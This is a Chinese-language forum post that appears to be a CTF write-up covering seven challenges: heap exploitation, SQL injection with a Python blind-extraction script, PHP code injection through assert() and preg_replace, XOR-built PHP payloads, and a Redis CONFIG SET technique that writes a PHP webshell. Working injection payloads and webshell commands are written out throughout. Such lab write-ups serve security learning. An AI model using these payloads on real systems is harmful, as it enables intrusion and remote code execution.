用户
搜索
  • TA的每日心情
    开心
    前天 09:57
  • 签到天数: 50 天

    连续签到: 5 天

    [LV.5]常住居民I

    管理员

    Rank: 9Rank: 9Rank: 9

    74

    主题

    77

    帖子

    1266

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-6-14
    发表于 2019-9-19 10:24:05 33806
    题目1:easypwn1

    这是一道god create life的题,漏洞点在于存在free之后未置null的堆块,具体的利用放式是这样的,首先利用unsorted bin进行泄露,获取libc地址,之后由于存在uaf,可以利用double free改写free chunk的fd,之后利用fastbin attack写malloc_hook来getshell,难度中等。

    题目2:easypwn2

    一道经典的选单类堆题,存在堆溢出,可以通过溢出堆块修改chunk的元数据来伪造fake chunk,之后利用unlink来写free的got表为system,构造system(‘/bin/sh’)获取shell。


    题目3:SQL

    # sql-exec

    ## **[目标]**
    sql登录 getshell

    ## **[环境]**
    - php

    ## **[工具]**
    - python

    ## **[步骤]**

    经过fuzz,过滤了 and,or,',select
    发现sql语句显示出来,格式为
    ```select username from user where username='{username}' and passwd='{passwd}'
    ```
    我们用payload
    ```
    ?username=\&passwd=||passwd/**/regexp/**/"^2";%00
    ```
    可以闭合,闭合后为
    ```
    select username from user where username='\' and passwd='||passwd/**/regexp/**/"^2";%00'
    ```
    这样就可专义第二个',使用regexp可以造成注入
    ![1](img/1.png)
    构造脚本

    ```
    import string
    import requests
    import re
    char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
    pw = ''
    while 1:
        for ch in char_set:
            url = 'http://192.168.102.133:12117/login.php?username=\\&passwd=||passwd/**/regexp/**/"^%s";%%00'
            r = requests.get(url=url%(pw+ch))
            if 'Welcome admin' in r.text:
                pw += ch
                print(pw)
                break
        if ch == '_': break
    ```
    爆破出密码
    ```
    24b17417a1267d5cf8f016515df037c5
    ```
    ![2](img/2.png)
    登陆后尝试,发现可以写入flag.php文件,而 \ 被过滤了,所以无法采用换行符绕过。
    可以利用 preg_replace() 函数的第二个参数绕过
    构造payload
    先输入
    ```
    ;system($_GET[1231]);
    ```
    再输入
    ```
    $0
    ```
    内容变为
    ```
    <?php
    show_source('flag.php');
    echo "<h1>please login!;</h1>";
    $flag='$flag=';system($_GET[1231]);';';
    ```
    执行flag.php?1231=cat%20/flag
    getflag
    ![3](img/3.png)

    题目4:math


    # math
    题目根据ciscn 2019改进而来,去掉原做法,研究出一种新的思路。字符长度缩减为20个,在原有基础上提高了解题难度。
    ## **[目标]**
    异或构造字符 getshell

    ## **[环境]**
    - php

    ## **[工具]**
    - php

    ## **[步骤]**
    写脚本
    ```
    <?php
    $a = array('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0','(',')','$');
    $b = array('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0','(',')','$');
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin',  'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    foreach ($a as $i){
        // foreach ($b as $j){
        foreach ($whitelist as $t){
            foreach (str_split($t) as $j){
                echo "$i^$j=".((string)$i ^ (string)$j)."</br>";
            }
        }
    }
    ?>
    ```
    爆出异或26个字母的方法
    构造payload
    ```
    ?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=readfile&1=flag.php
    ```


    题目5:easyphp

    # php_seay

    ## **[目标]**
    ### php代码审计
    - 危险函数
    - 代码截断
    - 过滤绕过
    ## **[环境]**

    ## **[工具]**

    ## **[步骤]**

    - index.php.bak备份文件泄露
    - 代码审计
    ```
    error_reporting(0);
    include "waf.php";
    if (isset($_GET['file'])) {
            $file = $_GET['file'];
    } else {
            $file = "home";
    }
    $file=str_replace("./","",$file);
    $file=str_replace(".\\","",$file);
    $para = "templates/" . $file . ".php";
    assert("file_exists('$para')");
    ?>
    ```
    可以看出
    ```
    assert("file_exists('$para')");
    ```

    利用
    ```
    file=11%27)%20or%20phpinfo();%23
    ```
    可以发现存在代码截断
    ![img1](img/1.png)

    fuzz发现ls、sysytem、get存在过滤

    ```
    $file=str_replace("./","",$file);
    ```
    ./过滤为空
    构造payload
    ```
    ?file=11%27)%20or%20system(%27ca./t%20/home/flag%27);%23
    ```
    ![img2](img/2.png)


    题目6:redis

    # redis-st

    ## **[目标]**
    redis getshell

    ## **[环境]**
    - redis

    ## **[工具]**
    - redis

    ## **[步骤]**

    本地安装redis服务器
    运行redis-cli -h [hostname] -p 6379

    我们可以控制dir和dbfilename选项,将shell写入到网站的根目录:
    ```
    CONFIG SET dir /var/www/html     # 修改备份目录
    CONGIG SET dbfilename shell.php  # 修改备份文件名为我们的shell名
    ```

    创建一个字符串,这样在备份时可以写入备份文件中。
    ```
    SET shell "<?php system($_GET['cmd']);?>"
    ```

    将数据备份到磁盘中:
    ```
    BGSAVE
    ```
    访问http://ip/shell.php?cmd=cat /home/flag

    题目7:ssrf

    通过访问发现
    1.png


    然后geturl参数:

    2.png

    发现并没有态多变化,于是访问127.0.0.1

    3.png

    然后继续访问:

    4.png



    发现flag in QaQ_Orz.php于是继续访问:

    5.png

    但是并没有发现,换个思路,这个题目是刚刚开始的开发环境,猜测git泄露:

    6.png

    然后使用工具,尝试把内容拖下来:

    7.png

    虽然有一些东西没有脱下来,但是.git内容都下来了。

    然后尝试git log:

    8.png

    并不可以。
    查看COMMIT_EDITMSG或者/log/HEAD能看到一些信息

    9.png

    10.png

    从之前提示得知第二个flag是真的,于是:
    flag{34ac7e0f7c83b5ce094fffec}



    使用道具 举报 回复
    有些图没有上传啊
    使用道具 举报 回复

    路过看看,好帖,赞
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册